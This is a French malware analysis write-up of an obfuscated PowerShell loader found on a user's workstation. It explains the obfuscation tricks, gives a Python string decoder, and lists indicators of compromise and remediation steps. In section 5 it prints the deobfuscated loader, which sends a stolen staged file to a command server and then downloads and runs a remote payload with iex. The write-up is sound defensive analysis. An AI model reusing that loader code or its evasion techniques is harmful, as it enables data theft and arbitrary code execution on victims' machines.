Type : loader / infostealer PowerShell

Format : script .ps1 obfusqué, ~4 300 lignes, 89 fonctions

Verdict : exfiltration d’un fichier volé vers un C2, puis téléchargement et exécution en mémoire d’un payload distant (iex)

Analyste : [loulouby]


TL;DR

Un fichier de ~4 300 lignes qui, au premier regard, ressemble à un mur de fonctions inutiles et de calculs arithmétiques sans queue ni tête. En réalité, 99 % du script est du bruit : fonctions bidon, prédicats toujours vrais, opérations qui s’annulent. En retirant méthodiquement ce bruit, il reste une trentaine de lignes utiles qui décrivent un comportement classique de loader :

  1. il cherche un fichier précédemment déposé dans C:\ProgramData\Improvementation\;
  2. s’il le trouve, il l’exfiltre en POST vers un serveur C2 puis le supprime ;
  3. il retélécharge un payload depuis ce même C2 et l’exécute en mémoire via iex.

Ce write-up documente la démarche qui permet de passer du mur de bruit à ces 30 lignes, pas seulement le résultat.


1. Contexte

Une amie à moi, travaillant dans une ESN, connaissait mon attrait pour PowerShell et pour le reverse engineering. Elle m’a donc contacté, car elle avait trouvé un fichier bizarre sur un poste utilisateur après un téléchargement effectué par une utilisatrice, accompagné d’un comportement anormal de la machine.

L’échantillon m’a été fourni sous la forme d’un unique fichier .ps1. L’objectif était de comprendre ce que pouvait bien faire ce script PowerShell d’environ 4 300 lignes, illisible, déposé « par magie » sur le poste d’un utilisateur.

Toute l’analyse est statique. Je n’ai jamais exécuté le script : sur ce type de menace, l’exécution est justement le piège (il télécharge et lance du code arbitraire depuis Internet). Une analyse dynamique éventuelle se ferait dans une VM isolée, réseau coupé, avec le C2 défangé, mais elle n’a pas été nécessaire ici, la logique étant entièrement reconstructible à la lecture.


2. Premier contact : le triage

Première étape, qui ne mange jamais de pain : je l’ai soumis à VirusTotal, mais je n’ai rien pu en tirer. Le score était de 0, donc rien de détecté par les antivirus/EDR.

Avant de plonger dans l’analyse, je me fais une idée du terrain avec quelques commandes rapides.

wc -l sample.ps1                 # ~4300 lignes
grep -c '^function ' sample.ps1  # 89 fonctions
grep -c '1 -eq 1'  sample.ps1    # 61 blocs "if (1 -eq 1)"
grep -c '\[char\]' sample.ps1    # 18 constructions de chaînes par code ASCII

Trois signaux ressortent immédiatement :

  • Beaucoup trop de fonctions (89) pour un script qui, vu sa taille de payload réel supposé, ne devrait en avoir qu’une poignée. Cela indique déjà probablement beaucoup de code mort
  • 61 if (1 -eq 1) donc des prédicats opaques, c’est-à-dire des conditions dont le résultat est connu à l’avance et qui ne servent qu’à noyer le lecteur.
  • Des [char] et des -join → les chaînes sensibles ne sont pas écrites en clair mais reconstruites à l’exécution, précisément pour échapper à la détection statique (un antivirus qui cherche la chaîne Invoke-RestMethod ne la trouvera jamais telle quelle).

Conclusion du triage : ce n’est pas du packing ni du chiffrement, c’est de l’obfuscation par dilution. Bonne nouvelle : ça se démonte à la main, méthodiquement.


3. Anatomie de l’obfuscation

J’ai catalogué quatre techniques, par ordre croissant d’intérêt.

3.1. Les prédicats opaques

if ((1 -eq 1)) {
  $R3YaCSYw4LCi = 1..61
  $TqZnBjCauS5U = $R3YaCSYw4LCi | Where-Object { ($_ % 2) -eq 0 } | ForEach-Object { $_ * 2 }
  ...
} else {
  $VIhWXawIVi9xhs = 687
}

La condition est toujours vraie. La branche else est morte. Le contenu de la branche if calcule des sommes de nombres pairs… qui ne sont jamais réutilisées. Bruit pur. Il y en a 61 comme ça.

3.2. L’arithmétique qui s’annule

$S4FwrcqZsBVt = $S4FwrcqZsBVt + 4914
$S4FwrcqZsBVt = $S4FwrcqZsBVt - 4914     # +4914 puis -4914 → no-op
$S4FwrcqZsBVt = $S4FwrcqZsBVt * 19
$S4FwrcqZsBVt = [int]($S4FwrcqZsBVt / 19) # *19 puis /19 → no-op
$S4FwrcqZsBVt = $S4FwrcqZsBVt -bxor 4914
$S4FwrcqZsBVt = $S4FwrcqZsBVt -bxor 4914  # xor deux fois par la même clé → no-op

Trois opérations réversibles appliquées puis immédiatement inversées. La valeur ne change jamais. Ça donne l’illusion d’un traitement complexe alors qu’il ne se passe rien.

3.3. Les fonctions

function oQOl1I4Wc {
  param($FQTdH4vy6)
  $R3hng2MQa1Yi = 0
  ...
  [void][int]::TryParse($aKbzaktb, [ref]$R3hng2MQa1Yi)
  $R3hng2MQa1Yi = $R3hng2MQa1Yi + 669
  $R3hng2MQa1Yi = $R3hng2MQa1Yi - 684    # décalage net de -15, jamais exploité
  return $R3hng2MQa1Yi
}

Des dizaines de fonctions au nom aléatoire qui « font » quelque chose (parser un entier, mesurer une longueur de chaîne, remplacer des voyelles par des *…) mais dont le retour n’influence jamais le flux réel. Elles sont là pour gonfler le compteur de fonctions et décourager la lecture.

3.4. La construction de chaînes par code ASCII

C’est la seule technique qui cache réellement quelque chose d’utile. Les chaînes sensibles ne sont jamais écrites en clair : chaque caractère est un calcul arithmétique de son code ASCII, réassemblé via [string]::Concat([char[]]@(...)).

Exemple, ligne 309 :

$JSPqWywxCzV = [string]::Concat([char[]]@(
  (1*88),(1*100),(852/12),(2373/21),(1*109),(1*112),(1*107),(812/7),(135-55),(38+44),
  (2*53),(101-23),(486/6),(1*85),(2125/25),(115-12),(74+8),(135-63),(13+96),(10+60),
  (42+32),(21+54),(170-96),(164-96),(141-26),(83/1),(1*78),(1890/21),(130-20),(117-11)
))

Chaque parenthèse est un code ASCII déguisé :

ExpressionValeurCharExpressionValeurChar
1*8888X74+882R
1*100100d135-6372H
852/1271G13+96109m
2373/21113q10+6070F
1*109109m42+3274J
1*112112p21+5475K
1*107107k170-9674J
812/7116t164-9668D
135-5580P141-26115s

En déroulant tout : XdGqmpktPRjNQUUgRHmFJKJDsSNZnj. Première chaîne utile démasquée.


4. Méthodologie de déobfuscation

Voici l’ordre dans lequel je m’y suis pris. L’idée directrice : retirer le bruit avant de comprendre le signal. On ne cherche pas à tout comprendre d’un coup ; on nettoie couche par couche.

Étape 4.1. Mise en forme

Le script est reformaté (indentation, sauts de ligne cohérents) pour être lisible. Rien de sémantique, mais c’est indispensable avant de raisonner sur du code.

Étape 4.2. Marquer et ignorer les prédicats opaques

Tout bloc if ((1 -eq 1)) { ... } else { ... } : je garde le contenu du if, je supprime le else. Puis je vérifie si le contenu du if est réutilisé plus loin (recherche des variables assignées). Dans 100 % des cas ici, il ne l’était pas, donc le bloc entier est barré.

Étape 4.3. Neutraliser l’arithmétique réversible

Repérer les paires +x … -x, *x … /x, -bxor x … -bxor x. À chaque fois, la variable revient à sa valeur d’entrée. On peut donc remplacer tout le bloc par sa valeur initiale et poursuivre.

Étape 4.4. Isoler les fonctions mortes

Pour chaque fonction, je regarde si son retour est réellement consommé par le flux principal (est-ce que la variable qui reçoit & maFonction(...) sert ensuite à une décision, une URL ou un chemin ?). Si ce n’est pas le cas, je la barre. Sur les 89 fonctions, la quasi-totalité tombent à ce test. Il ne reste que les rares qui alimentent des chaînes réelles.

Étape 4.5. Décoder les chaînes automatiquement

Décoder 8 blocs [char[]]@(...) à la main serait fastidieux et source d’erreurs. Comme les expressions sont de l’arithmétique pure et sûre, j’écris un petit décodeur qui extrait chaque bloc et évalue les codes ASCII, outil d’analyse, jamais exécuté dans le contexte du malware :

import re

def decode_char_arrays(source: str):
    """Extrait et décode chaque [char[]]@( ... )"""
    results, i, key = [], 0, "[char[]]@("
    while (p := source.find(key, i)) != -1:
        # parse à parenthèses équilibrées
        j = p + len(key); depth, k = 1, j
        while k < len(source) and depth:
            depth += (source[k] == "(") - (source[k] == ")")
            k += 1
        body = source[j:k-1]
        # découpe sur les virgules de premier niveau
        items, d, cur = [], 0, ""
        for ch in body:
            if ch == "(": d += 1; cur += ch
            elif ch == ")": d -= 1; cur += ch
            elif ch == "," and d == 0: items.append(cur); cur = ""
            else: cur += ch
        if cur.strip(): items.append(cur)
        try:
            s = "".join(chr(round(eval(x))) for x in items)  
            # eval sur arithmétique pure uniquement
            results.append(s)
        except Exception:
            pass
        i = k
    return results

Sortie sur l’échantillon :

XdGqmpktPRjNQUUgRHmFJKJDsSNZnj
SpGztpvZVqxccfh
https://ieservice.cc/JApCJpJtnKvUHmpsgrQIQKpPbiPC/XdGqmpktPRjNQUUgRHmFJKJDsSNZnj.html?SpGztpvZVqxccfh=
C:\ProgramData\Improvementation
INVoKe-rEStMethod

Toute la « charge utile » cachée du script tient dans ces cinq chaînes. Détail intéressant : INVoKe-rEStMethod est construit avec une casse alternée volontaire. PowerShell étant insensible à la casse, la commande fonctionne quand même, mais une signature qui chercherait la chaîne exacte Invoke-RestMethod la manquerait. Même logique pour la reconstruction de iex.

Étape 4.6. Reconstituer le flux

Une fois le bruit retiré et les chaînes résolues, je réinjecte les valeurs à la place des variables obfusquées et je relis le squelette qui reste. Les appels indirects du type :

. $v0q6PZ60S8JOPjKe3tj9 $gNQ4jL9ZY14 -Me PO -B $upTEpP06DUobVQ6

se relisent alors comme :

Invoke-RestMethod $urlExfiltration -Method POST -Body $corpsPOST

À ce stade, le comportement se lit presque à voix haute.


5. Le malware déobfusqué

Voici la logique reconstruite, ramenée à l’essentiel :

# --- Constantes (décodées depuis les [char[]]) ---
$nomFichierCible  = "XdGqmpktPRjNQUUgRHmFJKJDsSNZnj"
$nomParametrePOST = "SpGztpvZVqxccfh"
$dossierStaging   = "C:\ProgramData\Improvementation"
$urlC2            = "hxxps://ieservice[.]cc/JApCJpJtnKvUHmpsgrQIQKpPbiPC/$nomFichierCible.html?$nomParametrePOST="
$cheminLocal      = Join-Path $dossierStaging $nomFichierCible

# 1. Exfiltration du fichier déjà déposé, si présent
if ((Test-Path $dossierStaging) -and (Test-Path $cheminLocal)) {
    $contenu = Get-Content -LiteralPath $cheminLocal -Raw -Encoding UTF8
    $rnd     = Get-Random -Minimum 48302 -Maximum 845921
    $urlExfil = $urlC2 + $nomFichierCible + "&rnd=" + $rnd
    $body    = @{ $nomParametrePOST = $contenu }
    $rep     = Invoke-RestMethod $urlExfil -Method POST -Body $body

    # 2. Si le C2 confirme la réception → suppression (anti-forensics)
    if ($rep -like "*$nomFichierCible*") { Remove-Item $cheminLocal }
}

# 3. Téléchargement + exécution en mémoire du payload de 2e étage 
$rnd2       = Get-Random -Minimum 48302 -Maximum 845921
$urlPayload = $urlC2 + $nomFichierCible + "&rnd=" + $rnd2
$payload    = Invoke-RestMethod $urlPayload
iex($payload)   # exécution de code arbitraire fourni par l'attaquant

Points d’analyse :

  • C’est un stage intermédiaire, pas le stealer complet. Il présuppose qu’un composant antérieur a déjà déposé un fichier de collecte dans le dossier de staging. Ce loader se contente de le remonter puis d’aller chercher la suite.

  • Le même endpoint sert de dropbox d’exfiltration et de distributeur de payload, différencié uniquement par la méthode HTTP (POST pour envoyer, GET pour recevoir) et le paramètre rnd anti-cache.

  • La suppression conditionnée à l’accusé de réception est un choix intéressant : le malware ne détruit la preuve qu’une fois certain qu’elle est arrivée à destination.

  • iex sur du contenu réseau est le vrai danger : le comportement final n’est pas dans ce fichier, il est décidé côté serveur, à la volée.


6. Chaîne d’attaque

ÉtapeComportement observé
StagingLecture d’un fichier de collecte dans C:\ProgramData\Improvementation\
ExfiltrationPOST du contenu vers le C2 sur HTTPS
C2HTTP(S) vers ieservice[.]cc, paramètre anti-cache
Anti-forensicsSuppression du fichier après confirmation
Exécutioniex d’un payload distant en mémoire
DéfenseObfuscation, chaînes construites à l’exécution, casse mélangée

7. Indicateurs de compromission (défangés)

TypeValeur
Domaine C2ieservice[.]cc
URLhxxps://ieservice[.]cc/JApCJpJtnKvUHmpsgrQIQKpPbiPC/XdGqmpktPRjNQUUgRHmFJKJDsSNZnj.html
Paramètre POSTSpGztpvZVqxccfh
Dossier de stagingC:\ProgramData\Improvementation\
Nom de fichier voléXdGqmpktPRjNQUUgRHmFJKJDsSNZnj
Plage rnd48302845921

8. Remédiation

  • Constrained Language Mode + AppLocker/WDAC : casse la capacité à iex du code arbitraire.
  • Restreindre les connexions sortantes des interpréteurs de script (PowerShell ne devrait pas parler librement à Internet sur un poste standard).
  • Bloquer le domaine et l’URL au niveau proxy/DNS.
  • Sur une machine touchée : isoler, collecter les Event 4104, chercher le composant de première étape qui a rempli le dossier de staging (ce loader n’est pas le point d’entrée).

9. Ce que j’en retire

Ce sample est un bon cas d’école parce qu’il surjoue la complexité. 4 300 lignes, 89 fonctions, des maths partout et, au bout du compte, 30 lignes de logique triviale.

Limites de cette analyse : le payload de second étage n’a pas pu être récupéré (le C2 était injoignable / hors périmètre), donc le comportement final reste indéterminé. Une analyse dynamique dans une sandbox isolée, avec un faux C2 renvoyant un payload contrôlé, serait la suite logique pour caractériser complètement l’infection.


Annexe. Outils utilisés

  • Lecture / triage : grep, wc, éditeur avec coloration PowerShell (c’est plus pratique)
  • Décodage des chaînes : script Python maison (cf. §4.5)
  • Aucune exécution du sample, analyse 100 % statique